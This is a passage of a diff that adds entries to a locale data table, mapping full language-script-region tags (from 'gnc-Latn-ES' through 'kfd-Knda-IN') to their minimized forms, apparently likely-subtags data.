+ "gnc-Latn-ES": "gnc",
+ "gnd-Latn-ZZ": "gnd",
+ "gne-Latn-NG": "gne",
+ "gng-Latn-ZZ": "gng",
+ "gnh-Latn-NG": "gnh",
+ "gni-Latn-AU": "gni",
+ "gnj-Latn-CI": "gnj",
+ "gnk-Latn-BW": "gnk",
+ "gnl-Latn-AU": "gnl",
+ "gnm-Latn-PG": "gnm",
+ "gnn-Latn-AU": "gnn",
+ "gnq-Latn-MY": "gnq",
+ "gnr-Latn-AU": "gnr",
+ "gnt-Latn-PG": "gnt",
+ "gnu-Latn-PG": "gnu",
+ "gnw-Latn-BO": "gnw",
+ "gnz-Latn-CF": "gnz",
+ "goa-Latn-CI": "goa",
+ "gob-Latn-CO": "gob",
+ "goc-Latn-PG": "goc",
+ "god-Latn-ZZ": "god",
+ "goe-Tibt-BT": "goe",
+ "gof-Ethi-ZZ": "gof",
+ "gog-Latn-TZ": "gog",
+ "goh-Latn-DE": "goh",
+ "goi-Latn-ZZ": "goi",
+ "gok-Deva-IN": "gok",
+ "gol-Latn-LR": "gol",
+ "gom-Deva-IN": "gom",
+ "gon-Telu-IN": "gon",
+ "goo-Latn-FJ": "goo",
+ "gop-Latn-ID": "gop",
+ "goq-Latn-ID": "goq",
+ "gor-Latn-ID": "gor",
+ "gos-Latn-NL": "gos",
+ "got-Goth-UA": "got",
+ "gou-Latn-CM": "gou",
+ "gov-Latn-CI": "gov",
+ "gow-Latn-TZ": "gow",
+ "gox-Latn-CD": "gox",
+ "goy-Latn-TD": "goy",
+ "gpa-Latn-NG": "gpa",
+ "gpe-Latn-GH": "gpe",
+ "gpn-Latn-PG": "gpn",
+ "gqa-Latn-NG": "gqa",
+ "gqn-Latn-BR": "gqn",
+ "gqr-Latn-TD": "gqr",
+ "gra-Deva-IN": "gra",
+ "gra-Gujr-IN": "gra-Gujr",
+ "grb-Latn-ZZ": "grb",
+ "grc-Cprt-CY": "grc",
+ "grc-Linb-GR": "grc-Linb",
+ "grd-Latn-NG": "grd",
+ "grg-Latn-PG": "grg",
+ "grh-Latn-NG": "grh",
+ "gri-Latn-SB": "gri",
+ "grj-Latn-LR": "grj",
+ "grm-Latn-MY": "grm",
+ "grq-Latn-PG": "grq",
+ "grs-Latn-ID": "grs",
+ "grt-Beng-IN": "grt",
+ "gru-Ethi-ET": "gru",
+ "gru-Latn-ET": "gru-Latn",
+ "grv-Latn-LR": "grv",
+ "grw-Latn-ZZ": "grw",
+ "grx-Latn-PG": "grx",
+ "gry-Latn-LR": "gry",
+ "grz-Latn-PG": "grz",
+ "gsl-Latn-SN": "gsl",
+ "gsn-Latn-PG": "gsn",
+ "gso-Latn-CF": "gso",
+ "gsp-Latn-PG": "gsp",
+ "gsw-Latn-CH": "gsw",
+ "gta-Latn-BR": "gta",
+ "gtu-Latn-AU": "gtu",
+ "gu-Gujr-IN": "gu",
+ "gua-Latn-NG": "gua",
+ "gub-Latn-BR": "gub",
+ "guc-Latn-CO": "guc",
+ "gud-Latn-ZZ": "gud",
+ "gue-Latn-AU": "gue",
+ "guf-Latn-AU": "guf",
+ "guh-Latn-CO": "guh",
+ "gui-Latn-BO": "gui",
+ "guk-Ethi-ET": "guk-Ethi",
+ "guk-Latn-ET": "guk",
+ "gul-Latn-US": "gul",
+ "gum-Latn-CO": "gum",
+ "gun-Latn-BR": "gun",
+ "guo-Latn-CO": "guo",
+ "gup-Latn-AU": "gup",
+ "guq-Latn-PY": "guq",
+ "gur-Latn-GH": "gur",
+ "gut-Latn-CR": "gut",
+ "guu-Latn-VE": "guu",
+ "guw-Latn-ZZ": "guw",
+ "gux-Latn-ZZ": "gux",
+ "guz-Latn-KE": "guz",
+ "gv-Latn-IM": "gv",
+ "gva-Latn-PY": "gva",
+ "gvc-Latn-BR": "gvc",
+ "gve-Latn-PG": "gve",
+ "gvf-Latn-ZZ": "gvf",
+ "gvj-Latn-BR": "gvj",
+ "gvl-Latn-TD": "gvl",
+ "gvm-Latn-NG": "gvm",
+ "gvn-Latn-AU": "gvn",
+ "gvo-Latn-BR": "gvo",
+ "gvp-Latn-BR": "gvp",
+ "gvr-Deva-NP": "gvr",
+ "gvs-Latn-ZZ": "gvs",
+ "gvy-Latn-AU": "gvy",
+ "gwa-Latn-CI": "gwa",
+ "gwb-Latn-NG": "gwb",
+ "gwc-Arab-ZZ": "gwc",
+ "gwd-Latn-ET": "gwd",
+ "gwe-Latn-TZ": "gwe",
+ "gwf-Arab-PK": "gwf",
+ "gwg-Latn-NG": "gwg",
+ "gwi-Latn-CA": "gwi",
+ "gwj-Latn-BW": "gwj",
+ "gwm-Latn-AU": "gwm",
+ "gwn-Latn-NG": "gwn",
+ "gwr-Latn-UG": "gwr",
+ "gwt-Arab-ZZ": "gwt",
+ "gwu-Latn-AU": "gwu",
+ "gww-Latn-AU": "gww",
+ "gwx-Latn-GH": "gwx",
+ "gxx-Latn-CI": "gxx",
+ "gyb-Latn-PG": "gyb",
+ "gyd-Latn-AU": "gyd",
+ "gye-Latn-NG": "gye",
+ "gyf-Latn-AU": "gyf",
+ "gyg-Latn-CF": "gyg",
+ "gyi-Latn-ZZ": "gyi",
+ "gyl-Ethi-ET": "gyl-Ethi",
+ "gyl-Latn-ET": "gyl",
+ "gym-Latn-PA": "gym",
+ "gyn-Latn-GY": "gyn",
+ "gyo-Deva-NP": "gyo",
+ "gyr-Latn-BO": "gyr",
+ "gyy-Latn-AU": "gyy",
+ "gyz-Latn-NG": "gyz",
+ "gza-Latn-SD": "gza",
+ "gzi-Arab-IR": "gzi",
+ "gzn-Latn-ID": "gzn",
+ "ha-Arab-CM": "ha-CM",
+ "ha-Arab-NG": "ha-Arab",
+ "ha-Arab-SD": "ha-SD",
+ "ha-Latn-NE": "ha-NE",
+ "ha-Latn-NG": "ha",
+ "haa-Latn-US": "haa",
+ "hac-Arab-IR": "hac",
+ "had-Latn-ID": "had",
+ "hae-Latn-ET": "hae",
+ "hag-Latn-ZZ": "hag",
+ "hah-Latn-PG": "hah",
+ "hai-Latn-CA": "hai",
+ "haj-Beng-IN": "haj-Beng",
+ "haj-Latn-IN": "haj",
+ "hak-Hans-CN": "hak",
+ "hal-Latn-VN": "hal",
+ "ham-Latn-ZZ": "ham",
+ "han-Latn-TZ": "han",
+ "hao-Latn-PG": "hao",
+ "hap-Latn-ID": "hap",
+ "haq-Latn-TZ": "haq",
+ "har-Arab-ET": "har-Arab",
+ "har-Ethi-ET": "har",
+ "har-Latn-ET": "har-Latn",
+ "has-Latn-CA": "has",
+ "hav-Latn-CD": "hav",
+ "haw-Latn-US": "haw",
+ "hax-Latn-CA": "hax",
+ "hay-Latn-TZ": "hay",
+ "haz-Arab-AF": "haz",
+ "hba-Latn-CD": "hba",
+ "hbb-Latn-ZZ": "hbb",
+ "hbn-Latn-SD": "hbn",
+ "hbo-Hebr-IL": "hbo",
+ "hbu-Latn-TL": "hbu",
+ "hch-Latn-MX": "hch",
+ "hdy-Ethi-ZZ": "hdy",
+ "he-Hebr-IL": "he",
+ "hed-Latn-TD": "hed",
+ "heg-Latn-ID": "heg",
+ "heh-Latn-TZ": "heh",
+ "hei-Latn-CA": "hei",
+ "hem-Latn-CD": "hem",
+ "hgm-Latn-NA": "hgm",
+ "hgw-Latn-PG": "hgw",
+ "hhi-Latn-PG": "hhi",
+ "hhr-Latn-SN": "hhr",
+ "hhy-Latn-ZZ": "hhy",
+ "hi-Deva-IN": "hi",
+ "hi-Latn-IN": "hi-Latn",
+ "hi-Mahj-IN": "hi-Mahj",
+ "hia-Latn-ZZ": "hia",
+ "hib-Latn-PE": "hib",
+ "hid-Latn-US": "hid",
+ "hif-Deva-FJ": "hif-Deva",
+ "hif-Latn-FJ": "hif",
+ "hig-Latn-ZZ": "hig",
+ "hih-Latn-ZZ": "hih",
+ "hii-Deva-IN": "hii-Deva",
+ "hii-Takr-IN": "hii",
+ "hij-Latn-CM": "hij",
+ "hik-Latn-ID": "hik",
+ "hil-Latn-PH": "hil",
+ "hio-Latn-BW": "hio",
+ "hir-Latn-BR": "hir",
+ "hit-Xsux-TR": "hit",
+ "hiw-Latn-VU": "hiw",
+ "hix-Latn-BR": "hix",
+ "hji-Latn-ID": "hji",
+ "hka-Latn-TZ": "hka",
+ "hke-Latn-CD": "hke",
+ "hkh-Arab-IN": "hkh",
+ "hkh-Deva-IN": "hkh-Deva",
+ "hkh-Latn-IN": "hkh-Latn",
+ "hkk-Latn-PG": "hkk",
+ "hla-Latn-ZZ": "hla",
+ "hlb-Deva-IN": "hlb",
+ "hld-Latn-VN": "hld",
+ "hlt-Latn-MM": "hlt",
+ "hlu-Hluw-TR": "hlu",
+ "hma-Latn-CN": "hma",
+ "hmb-Latn-ML": "hmb",
+ "hmd-Plrd-CN": "hmd",
+ "hmf-Latn-VN": "hmf",
+ "hmj-Bopo-CN": "hmj",
+ "hmm-Latn-CN": "hmm",
+ "hmn-Bopo-CN": "hmn-Bopo",
+ "hmn-Hmng-CN": "hmn-Hmng",
+ "hmn-Latn-CN": "hmn",
+ "hmp-Latn-CN": "hmp",
+ "hmq-Bopo-CN": "hmq",
+ "hmr-Latn-IN": "hmr",
+ "hms-Latn-CN": "hms",
+ "hmt-Latn-ZZ": "hmt",
+ "hmu-Latn-ID": "hmu",
+ "hmv-Latn-VN": "hmv",
+ "hmw-Latn-CN": "hmw",
+ "hmy-Latn-CN": "hmy",
+ "hmz-Latn-CN": "hmz",
+ "hmz-Plrd-CN": "hmz-Plrd",
+ "hna-Latn-CM": "hna",
+ "hnd-Arab-PK": "hnd",
+ "hne-Deva-IN": "hne",
+ "hng-Latn-AO": "hng",
+ "hnh-Latn-BW": "hnh",
+ "hni-Latn-CN": "hni",
+ "hnj-Hmng-LA": "hnj-Hmng-LA",
+ "hnj-Hmnp-US": "hnj",
+ "hnj-Laoo-AU": "hnj-AU",
+ "hnj-Laoo-CN": "hnj-CN",
+ "hnj-Laoo-FR": "hnj-FR",
+ "hnj-Laoo-GF": "hnj-GF",
+ "hnj-Laoo-LA": "hnj-LA",
+ "hnj-Laoo-MM": "hnj-MM",
+ "hnj-Laoo-SR": "hnj-SR",
+ "hnj-Laoo-TH": "hnj-TH",
+ "hnj-Laoo-US": "hnj-Laoo-US",
+ "hnj-Laoo-VN": "hnj-VN",
+ "hnn-Hano-PH": "hnn-Hano",
+ "hnn-Latn-PH": "hnn",
+ "hno-Arab-PK": "hno",
+ "hns-Latn-SR": "hns",
+ "ho-Latn-PG": "ho",
+ "hoa-Latn-SB": "hoa",
+ "hob-Latn-PG": "hob",
+ "hoc-Deva-IN": "hoc",
+ "hoc-Wara-IN": "hoc-Wara",
+ "hod-Latn-NG": "hod",
+ "hoe-Latn-NG": "hoe",
+ "hoh-Arab-OM": "hoh",
+ "hoi-Latn-US": "hoi",
+ "hoj-Deva-IN": "hoj",
+ "hol-Latn-AO": "hol",
+ "hom-Latn-SS": "hom",
+ "hoo-Latn-CD": "hoo",
+ "hop-Latn-US": "hop",
+ "hor-Latn-TD": "hor",
+ "hot-Latn-ZZ": "hot",
+ "hov-Latn-ID": "hov",
+ "how-Hani-CN": "how",
+ "hoy-Deva-IN": "hoy",
+ "hpo-Mymr-MM": "hpo",
+ "hr-Latn-HR": "hr",
+ "hra-Latn-IN": "hra",
+ "hrc-Latn-PG": "hrc",
+ "hre-Latn-VN": "hre",
+ "hrk-Latn-ID": "hrk",
+ "hrm-Hmng-CN": "hrm-Hmng",
+ "hrm-Latn-CN": "hrm",
+ "hro-Latn-VN": "hro",
+ "hrp-Latn-AU": "hrp",
+ "hrt-Syrc-TR": "hrt",
+ "hru-Latn-IN": "hru",
+ "hrw-Latn-PG": "hrw",
+ "hrx-Latn-BR": "hrx",
+ "hrz-Arab-IR": "hrz",
+ "hsb-Latn-DE": "hsb",
+ "hsn-Hans-CN": "hsn",
+ "hss-Arab-OM": "hss",
+ "ht-Latn-HT": "ht",
+ "hti-Latn-ID": "hti",
+ "hto-Latn-CO": "hto",
+ "hts-Latn-TZ": "hts",
+ "htu-Latn-ID": "htu",
+ "htx-Xsux-TR": "htx",
+ "hu-Hung-HU": "hu-Hung",
+ "hu-Latn-HU": "hu",
+ "hub-Latn-PE": "hub",
+ "huc-Latn-BW": "huc",
+ "hud-Latn-ID": "hud",
+ "hue-Latn-MX": "hue",
+ "huf-Latn-PG": "huf",
+ "hug-Latn-PE": "hug",
+ "huh-Latn-CL": "huh",
+ "hui-Latn-ZZ": "hui",
+ "huk-Latn-ID": "huk",
+ "hul-Latn-PG": "hul",
+ "hum-Latn-CD": "hum",
+ "hup-Latn-US": "hup",
+ "hur-Latn-CA": "hur",
+ "hus-Latn-MX": "hus",
+ "hut-Deva-NP": "hut",
+ "hut-Tibt-NP": "hut-Tibt",
+ "huu-Latn-PE": "huu",
+ "huv-Latn-MX": "huv",
+ "huw-Latn-ID": "huw",
+ "hux-Latn-PE": "hux",
+ "huy-Hebr-IL": "huy",
+ "huz-Cyrl-RU": "huz",
+ "hvc-Latn-HT": "hvc",
+ "hve-Latn-MX": "hve",
+ "hvk-Latn-NC": "hvk",
+ "hvn-Latn-ID": "hvn",
+ "hvv-Latn-MX": "hvv",
+ "hwa-Latn-CI": "hwa",
+ "hwc-Latn-US": "hwc",
+ "hwo-Latn-NG": "hwo",
+ "hy-Armn-AM": "hy",
+ "hya-Latn-CM": "hya",
+ "hyw-Armn-AM": "hyw",
+ "hz-Latn-NA": "hz",
+ "ia-Latn-001": "ia",
+ "iai-Latn-NC": "iai",
+ "ian-Latn-ZZ": "ian",
+ "iar-Latn-ZZ": "iar",
+ "iba-Latn-MY": "iba",
+ "ibb-Latn-NG": "ibb",
+ "ibd-Latn-AU": "ibd",
+ "ibe-Latn-NG": "ibe",
+ "ibg-Latn-PH": "ibg",
+ "ibh-Latn-VN": "ibh",
+ "ibl-Latn-PH": "ibl",
+ "ibm-Latn-NG": "ibm",
+ "ibn-Latn-NG": "ibn",
+ "ibr-Latn-NG": "ibr",
+ "ibu-Latn-ID": "ibu",
+ "iby-Latn-ZZ": "iby",
+ "ica-Latn-ZZ": "ica",
+ "ich-Latn-ZZ": "ich",
+ "icr-Latn-CO": "icr",
+ "id-Latn-ID": "id",
+ "ida-Latn-KE": "ida",
+ "idb-Latn-IN": "idb",
+ "idc-Latn-NG": "idc",
+ "idd-Latn-ZZ": "idd",
+ "ide-Latn-NG": "ide",
+ "idi-Latn-ZZ": "idi",
+ "idr-Latn-SS": "idr",
+ "ids-Latn-NG": "ids",
+ "idt-Latn-TL": "idt",
+ "idu-Latn-ZZ": "idu",
+ "ie-Latn-001": "ie",
+ "ifa-Latn-PH": "ifa",
+ "ifb-Latn-PH": "ifb",
+ "ife-Latn-TG": "ife",
+ "iff-Latn-VU": "iff",
+ "ifk-Latn-PH": "ifk",
+ "ifm-Latn-CG": "ifm",
+ "ifu-Latn-PH": "ifu",
+ "ify-Latn-PH": "ify",
+ "ig-Latn-NG": "ig",
+ "igb-Latn-ZZ": "igb",
+ "ige-Latn-ZZ": "ige",
+ "igg-Latn-PG": "igg",
+ "igl-Latn-NG": "igl",
+ "igm-Latn-PG": "igm",
+ "ign-Latn-BO": "ign",
+ "igo-Latn-PG": "igo",
+ "igs-Grek-001": "igs-Grek",
+ "igs-Latn-001": "igs",
+ "igw-Latn-NG": "igw",
+ "ihb-Latn-ID": "ihb",
+ "ihi-Latn-NG": "ihi",
+ "ihp-Latn-ID": "ihp",
+ "ihw-Latn-AU": "ihw",
+ "ii-Yiii-CN": "ii",
+ "iin-Latn-AU": "iin",
+ "ijc-Latn-NG": "ijc",
+ "ije-Latn-NG": "ije",
+ "ijj-Latn-ZZ": "ijj",
+ "ijn-Latn-NG": "ijn",
+ "ijs-Latn-NG": "ijs",
+ "ik-Latn-US": "ik",
+ "iki-Latn-NG": "iki",
+ "ikk-Latn-ZZ": "ikk",
+ "ikl-Latn-NG": "ikl",
+ "iko-Latn-NG": "iko",
+ "ikp-Latn-NG": "ikp",
+ "ikr-Latn-AU": "ikr",
+ "ikt-Cans-CA": "ikt-Cans",
+ "ikt-Latn-CA": "ikt",
+ "ikv-Latn-NG": "ikv",
+ "ikw-Latn-ZZ": "ikw",
+ "ikx-Latn-ZZ": "ikx",
+ "ikz-Latn-TZ": "ikz",
+ "ila-Latn-ID": "ila",
+ "ilb-Latn-ZM": "ilb",
+ "ilg-Latn-AU": "ilg",
+ "ili-Arab-CN": "ili-Arab",
+ "ili-Cyrl-KZ": "ili-Cyrl",
+ "ili-Latn-CN": "ili",
+ "ilk-Latn-PH": "ilk",
+ "ilm-Latn-MY": "ilm",
+ "ilo-Latn-PH": "ilo",
+ "ilp-Latn-PH": "ilp",
+ "ilu-Latn-ID": "ilu",
+ "ilv-Latn-NG": "ilv",
+ "imi-Latn-PG": "imi",
+ "iml-Latn-US": "iml",
+ "imn-Latn-PG": "imn",
+ "imo-Latn-ZZ": "imo",
+ "imr-Latn-ID": "imr",
+ "ims-Latn-IT": "ims",
+ "imt-Latn-SS": "imt",
+ "imy-Lyci-TR": "imy",
+ "inb-Latn-CO": "inb",
+ "ing-Latn-US": "ing",
+ "inh-Cyrl-RU": "inh",
+ "inj-Latn-CO": "inj",
+ "inn-Latn-PH": "inn",
+ "ino-Latn-PG": "ino",
+ "inp-Latn-PE": "inp",
+ "int-Mymr-MM": "int",
+ "io-Latn-001": "io",
+ "ior-Ethi-ET": "ior",
+ "iou-Latn-ZZ": "iou",
+ "iow-Latn-US": "iow",
+ "ipi-Latn-PG": "ipi",
+ "ipo-Latn-PG": "ipo",
+ "iqu-Latn-PE": "iqu",
+ "iqw-Latn-NG": "iqw",
+ "ire-Latn-ID": "ire",
+ "irh-Latn-ID": "irh",
+ "iri-Latn-ZZ": "iri",
+ "irk-Latn-TZ": "irk",
+ "irn-Latn-BR": "irn",
+ "iru-Mlym-IN": "iru-Mlym",
+ "iru-Taml-IN": "iru",
+ "irx-Latn-ID": "irx",
+ "iry-Latn-PH": "iry",
+ "is-Latn-IS": "is",
+ "isa-Latn-PG": "isa",
+ "isc-Latn-PE": "isc",
+ "isd-Latn-PH": "isd",
+ "ish-Latn-NG": "ish",
+ "isi-Latn-NG": "isi",
+ "isk-Arab-AF": "isk",
+ "isk-Cyrl-TJ": "isk-Cyrl",
+ "ism-Latn-ID": "ism",
+ "isn-Latn-TZ": "isn",
+ "iso-Latn-NG": "iso",
+ "ist-Latn-HR": "ist",
+ "isu-Latn-CM": "isu",
+ "it-Latn-IT": "it",
+ "it-Latn-SM": "it-SM",
+ "it-Latn-VA": "it-VA",
+ "itb-Latn-PH": "itb",
+ "itd-Latn-ID": "itd",
+ "ite-Latn-BO": "ite",
+ "iti-Latn-PH": "iti",
+ "itk-Hebr-IT": "itk",
+ "itl-Cyrl-RU": "itl",
+ "itm-Latn-NG": "itm",
+ "ito-Latn-BO": "ito",
+ "itr-Latn-PG": "itr",
+ "its-Latn-NG": "its",
+ "itt-Latn-PH": "itt",
+ "itv-Latn-PH": "itv",
+ "itw-Latn-NG": "itw",
+ "itx-Latn-ID": "itx",
+ "ity-Latn-PH": "ity",
+ "itz-Latn-GT": "itz",
+ "iu-Cans-CA": "iu",
+ "ium-Hani-CN": "ium-Hani",
+ "ium-Laoo-LA": "ium-Laoo",
+ "ium-Latn-CN": "ium",
+ "ium-Thai-TH": "ium-Thai",
+ "ivb-Latn-PH": "ivb",
+ "ivv-Latn-PH": "ivv",
+ "iwk-Latn-PH": "iwk",
+ "iwm-Latn-ZZ": "iwm",
+ "iwo-Latn-ID": "iwo",
+ "iws-Latn-ZZ": "iws",
+ "ixc-Latn-MX": "ixc",
+ "ixl-Latn-GT": "ixl",
+ "iya-Latn-NG": "iya",
+ "iyo-Latn-CM": "iyo",
+ "iyx-Latn-CG": "iyx",
+ "izh-Latn-RU": "izh",
+ "izr-Latn-NG": "izr",
+ "izz-Latn-NG": "izz",
+ "ja-Hira-JP": "ja-Hira",
+ "ja-Jpan-JP": "ja",
+ "ja-Kana-JP": "ja-Kana",
+ "jaa-Latn-BR": "jaa",
+ "jab-Latn-ZZ": "jab",
+ "jac-Latn-GT": "jac",
+ "jad-Arab-GN": "jad",
+ "jae-Latn-PG": "jae",
+ "jaf-Latn-NG": "jaf",
+ "jah-Latn-MY": "jah",
+ "jaj-Latn-SB": "jaj",
+ "jak-Latn-MY": "jak",
+ "jal-Latn-ID": "jal",
+ "jam-Latn-JM": "jam",
+ "jan-Latn-AU": "jan",
+ "jao-Latn-AU": "jao",
+ "jaq-Latn-ID": "jaq",
+ "jas-Latn-NC": "jas",
+ "jat-Arab-AF": "jat",
+ "jau-Latn-ID": "jau",
+ "jax-Latn-ID": "jax",
+ "jay-Latn-AU": "jay",
+ "jaz-Latn-NC": "jaz",
+ "jbe-Hebr-IL": "jbe",
+ "jbi-Latn-AU": "jbi",
+ "jbj-Latn-ID": "jbj",
+ "jbk-Latn-PG": "jbk",
+ "jbm-Latn-NG": "jbm",
+ "jbn-Arab-LY": "jbn",
+ "jbo-Latn-001": "jbo",
+ "jbr-Latn-ID": "jbr",
+ "jbt-Latn-BR": "jbt",
+ "jbu-Latn-ZZ": "jbu",
+ "jbw-Latn-AU": "jbw",
+ "jct-Cyrl-UA": "jct",
+ "jct-Latn-UA": "jct-Latn",
+ "jda-Tibt-IN": "jda",
+ "jdg-Arab-PK": "jdg",
+ "jdt-Cyrl-RU": "jdt",
+ "jdt-Hebr-RU": "jdt-Hebr",
+ "jdt-Latn-AZ": "jdt-Latn",
+ "jeb-Latn-PE": "jeb",
+ "jee-Deva-NP": "jee",
+ "jeh-Laoo-LA": "jeh-Laoo",
+ "jeh-Latn-VN": "jeh",
+ "jei-Latn-ID": "jei",
+ "jek-Latn-CI": "jek",
+ "jel-Latn-ID": "jel",
+ "jen-Latn-ZZ": "jen",
+ "jer-Latn-NG": "jer",
+ "jet-Latn-PG": "jet",
+ "jeu-Latn-TD": "jeu",
+ "jgb-Latn-CD": "jgb",
+ "jge-Geor-GE": "jge",
+ "jge-Hebr-IL": "jge-Hebr",
+ "jgk-Latn-ZZ": "jgk",
+ "jgo-Latn-CM": "jgo",
+ "jhi-Latn-MY": "jhi",
+ "jia-Latn-CM": "jia",
+ "jib-Latn-ZZ": "jib",
+ "jic-Latn-HN": "jic",
+ "jid-Latn-NG": "jid",
+ "jie-Latn-NG": "jie",
+ "jig-Latn-AU": "jig",
+ "jil-Latn-PG": "jil",
+ "jim-Latn-CM": "jim",
+ "jit-Latn-TZ": "jit",
+ "jiu-Latn-CN": "jiu",
+ "jiv-Latn-EC": "jiv",
+ "jiy-Latn-CN": "jiy",
+ "jje-Hang-KR": "jje",
+ "jjr-Latn-NG": "jjr",
+ "jka-Latn-ID": "jka",
+ "jkm-Brai-MM": "jkm-Brai",
+ "jkm-Latn-MM": "jkm-Latn",
+ "jkm-Mymr-MM": "jkm",
+ "jko-Latn-PG": "jko",
+ "jku-Latn-NG": "jku",
+ "jle-Latn-SD": "jle",
+ "jma-Latn-PG": "jma",
+ "jmb-Latn-NG": "jmb",
+ "jmc-Latn-TZ": "jmc",
+ "jmd-Latn-ID": "jmd",
+ "jmi-Latn-NG": "jmi",
+ "jml-Deva-NP": "jml",
+ "jmn-Latn-MM": "jmn",
+ "jmr-Latn-GH": "jmr",
+ "jms-Latn-NG": "jms",
+ "jmw-Latn-PG": "jmw",
+ "jmx-Latn-MX": "jmx",
+ "jna-Takr-IN": "jna",
+ "jnd-Arab-PK": "jnd",
+ "jng-Latn-AU": "jng",
+ "jni-Latn-NG": "jni",
+ "jnj-Ethi-ET": "jnj-Ethi",
+ "jnj-Latn-ET": "jnj",
+ "jnl-Deva-IN": "jnl",
+ "jns-Deva-IN": "jns",
+ "jns-Latn-IN": "jns-Latn",
+ "jns-Takr-IN": "jns-Takr",
+ "job-Latn-CD": "job",
+ "jod-Latn-CI": "jod",
+ "jog-Arab-PK": "jog",
+ "jor-Latn-BO": "jor",
+ "jow-Latn-ML": "jow",
+ "jpa-Hebr-PS": "jpa",
+ "jpr-Hebr-IL": "jpr",
+ "jqr-Latn-PE": "jqr",
+ "jra-Latn-ZZ": "jra",
+ "jrr-Latn-NG": "jrr",
+ "jrt-Latn-NG": "jrt",
+ "jru-Latn-VE": "jru",
+ "jua-Latn-BR": "jua",
+ "jub-Latn-NG": "jub",
+ "jud-Latn-CI": "jud",
+ "juh-Latn-NG": "juh",
+ "jui-Latn-AU": "jui",
+ "juk-Latn-NG": "juk",
+ "jul-Deva-NP": "jul",
+ "jum-Latn-SD": "jum",
+ "jun-Orya-IN": "jun",
+ "juo-Latn-NG": "juo",
+ "jup-Latn-BR": "jup",
+ "jur-Latn-BR": "jur",
+ "jut-Latn-DK": "jut",
+ "juu-Latn-NG": "juu",
+ "juw-Latn-NG": "juw",
+ "juy-Orya-IN": "juy",
+ "jv-Java-ID": "jv-Java",
+ "jv-Latn-ID": "jv",
+ "jvd-Latn-ID": "jvd",
+ "jvn-Latn-SR": "jvn",
+ "jwi-Latn-GH": "jwi",
+ "jya-Tibt-CN": "jya",
+ "jye-Hebr-IL": "jye",
+ "jyy-Latn-TD": "jyy",
+ "ka-Geor-GE": "ka",
+ "kaa-Cyrl-UZ": "kaa",
+ "kab-Latn-DZ": "kab",
+ "kac-Latn-MM": "kac",
+ "kad-Latn-ZZ": "kad",
+ "kag-Latn-MY": "kag",
+ "kah-Latn-CF": "kah",
+ "kai-Latn-ZZ": "kai",
+ "kaj-Latn-NG": "kaj",
+ "kak-Latn-PH": "kak",
+ "kam-Latn-KE": "kam",
+ "kao-Latn-ML": "kao",
+ "kap-Cyrl-RU": "kap",
+ "kaq-Latn-PE": "kaq",
+ "kav-Latn-BR": "kav",
+ "kaw-Kawi-ID": "kaw",
+ "kax-Latn-ID": "kax",
+ "kay-Latn-BR": "kay",
+ "kba-Latn-AU": "kba",
+ "kbb-Latn-BR": "kbb",
+ "kbc-Latn-BR": "kbc",
+ "kbd-Cyrl-RU": "kbd",
+ "kbd-Cyrl-TR": "kbd-TR",
+ "kbe-Latn-AU": "kbe",
+ "kbh-Latn-CO": "kbh",
+ "kbi-Latn-ID": "kbi",
+ "kbj-Latn-CD": "kbj",
+ "kbk-Latn-PG": "kbk",
+ "kbl-Latn-TD": "kbl",
+ "kbm-Latn-ZZ": "kbm",
+ "kbn-Latn-CF": "kbn",
+ "kbo-Latn-SS": "kbo",
+ "kbp-Latn-ZZ": "kbp",
+ "kbq-Latn-ZZ": "kbq",
+ "kbr-Ethi-ET": "kbr-Ethi",
+ "kbr-Latn-ET": "kbr",
+ "kbs-Latn-GA": "kbs",
+ "kbt-Latn-PG": "kbt",
+ "kbu-Arab-PK": "kbu",
+ "kbv-Latn-ID": "kbv",
+ "kbw-Latn-PG": "kbw",
+ "kbx-Latn-ZZ": "kbx",
+ "kby-Arab-NE": "kby",
+ "kbz-Latn-NG": "kbz",
+ "kca-Cyrl-RU": "kca",
+ "kcb-Latn-PG": "kcb",
+ "kcc-Latn-NG": "kcc",
+ "kcd-Latn-ID": "kcd",
+ "kce-Latn-NG": "kce",
+ "kcf-Latn-NG": "kcf",
+ "kcg-Latn-NG": "kcg",
+ "kch-Latn-NG": "kch",
+ "kci-Latn-NG": "kci",
+ "kcj-Latn-GW": "kcj",
+ "kck-Latn-ZW": "kck",
+ "kcl-Latn-ZZ": "kcl",
+ "kcm-Latn-CF": "kcm",
+ "kcn-Latn-UG": "kcn",
+ "kco-Latn-PG": "kco",
+ "kcp-Latn-SD": "kcp",
+ "kcq-Latn-NG": "kcq",
+ "kcs-Latn-NG": "kcs",
+ "kct-Latn-ZZ": "kct",
+ "kcu-Latn-TZ": "kcu",
+ "kcv-Latn-CD": "kcv",
+ "kcw-Latn-CD": "kcw",
+ "kcz-Latn-TZ": "kcz",
+ "kda-Latn-AU": "kda",
+ "kdc-Latn-TZ": "kdc",
+ "kdd-Latn-AU": "kdd",
+ "kde-Latn-TZ": "kde",
+ "kdf-Latn-PG": "kdf",
+ "kdg-Latn-CD": "kdg",
+ "kdh-Latn-TG": "kdh",
+ "kdi-Latn-UG": "kdi",
+ "kdj-Latn-UG": "kdj",
+ "kdk-Latn-NC": "kdk",
+ "kdl-Latn-ZZ": "kdl",
+ "kdm-Latn-NG": "kdm",
+ "kdn-Latn-ZW": "kdn",
+ "kdp-Latn-NG": "kdp",
+ "kdq-Beng-IN": "kdq",
+ "kdr-Cyrl-UA": "kdr-Cyrl",
+ "kdr-Latn-LT": "kdr",
+ "kdt-Thai-KH": "kdt-KH",
+ "kdt-Thai-LA": "kdt-LA",
+ "kdt-Thai-TH": "kdt",
+ "kdw-Latn-ID": "kdw",
+ "kdx-Latn-NG": "kdx",
+ "kdy-Latn-ID": "kdy",
+ "kdz-Latn-CM": "kdz",
+ "kea-Latn-CV": "kea",
+ "keb-Latn-GA": "keb",
+ "kec-Latn-SD": "kec",
+ "ked-Latn-TZ": "ked",
+ "kee-Latn-US": "kee",
+ "kef-Latn-TG": "kef",
+ "keg-Latn-SD": "keg",
+ "keh-Latn-PG": "keh",
+ "kei-Latn-ID": "kei",
+ "kek-Latn-GT": "kek",
+ "kel-Latn-CD": "kel",
+ "kem-Latn-TL": "kem",
+ "ken-Latn-CM": "ken",
+ "keo-Latn-UG": "keo",
+ "ker-Latn-TD": "ker",
+ "kes-Latn-NG": "kes",
+ "ket-Cyrl-RU": "ket",
+ "keu-Latn-TG": "keu",
+ "kew-Latn-PG": "kew",
+ "kex-Deva-IN": "kex",
+ "kex-Gujr-IN": "kex-Gujr",
+ "key-Telu-IN": "key",
+ "kez-Latn-ZZ": "kez",
+ "kfa-Knda-IN": "kfa",
+ "kfb-Deva-IN": "kfb",
+ "kfc-Telu-IN": "kfc",
+ "kfd-Knda-IN": "kfd",
